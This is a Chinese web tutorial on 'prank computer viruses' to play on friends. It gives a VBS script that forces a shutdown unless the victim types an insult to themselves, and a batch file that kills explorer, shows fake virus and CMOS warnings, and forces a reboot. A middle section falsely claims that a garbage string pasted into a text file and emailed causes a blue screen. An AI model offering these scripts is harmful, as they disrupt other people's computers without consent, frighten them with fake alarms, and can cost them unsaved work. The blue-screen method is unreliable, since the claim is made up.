三、恶搞电脑病毒代码有哪些
有时候想和朋友们玩玩，搞点恶搞电脑病毒给他们，要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!
恶搞电脑病毒代码介绍一：
首先在电脑上新建一个TXT文档
然后把下面这段代码输入进去
On Error Resume Next
Dim WSHshellA
Set WSHshellA= wscript.CreateObject("wscript.shell")
WSHshellA.run"cmd.exe/c shutdown-s-t 90-c""快喊我是猪，不喊就马上让你关机，不信，试试···""", 0, True
Dim a
Do While(a<>"我是猪")
a= InputBox("快说我是猪,不叫就不关机，快点，说","说不说","不说", 8000, 7000)
MsgBox Chr(13)+ Chr(13)+ Chr(13)+ a, 0,"MsgBox"
Loop
MsgBox Chr(13)+ Chr(13)+ Chr(13)+"早说就行了嘛!好,不关了"
WSHshella.run"cmd.exe/c shutdown-a"
然后保存
然后把这个文本文档的后缀改为vbs也就是说新建的文本文档本来是.TXT的后缀，
你要修改为.VBS的后缀
恶搞电脑病毒代码介绍二：
新建一个文本文档，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片，如果对方有邮箱，就发给他
他一打开就会出现你插入的图片，然后出现蓝屏(效果7—10分钟)(注：做好病毒后不要打开，否则会出现以上说的情况)
恶搞电脑病毒代码介绍三：
新建一个文本文档(.txt)，要复制以下代码：
@echo off
color 4
tskill explorer
echo.
echo.
echo.
echo.
echo警告：在病毒执行期间禁止关闭电源，
echo否则你就和你心爱的电脑说
echo.
echo. BYE-BYE
echo.
echo Computer system crash!
echo.
echo.
echo I am a virus, my name is Ghost.
echo我是魔鬼病毒，在这个堕落的世界上苏醒了。
echo.
echo. Warning! CPU has been changed please re-enter CPU settings
echo. in the CMOS setuo and remember to save before quit.
echo. Secondary IDE channel no 80 conductor cable installed.
set/p select=:)
if"%select%"=="" goto start
:start
shutdown-r-t 10-c"您的计算机上带有魔鬼病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。"
::结束
再另存为：名字.bat你要记住"名字"后面要加".bat"
就可以了，没有任何破坏性，吓吓人。
你可以试试看看效果。
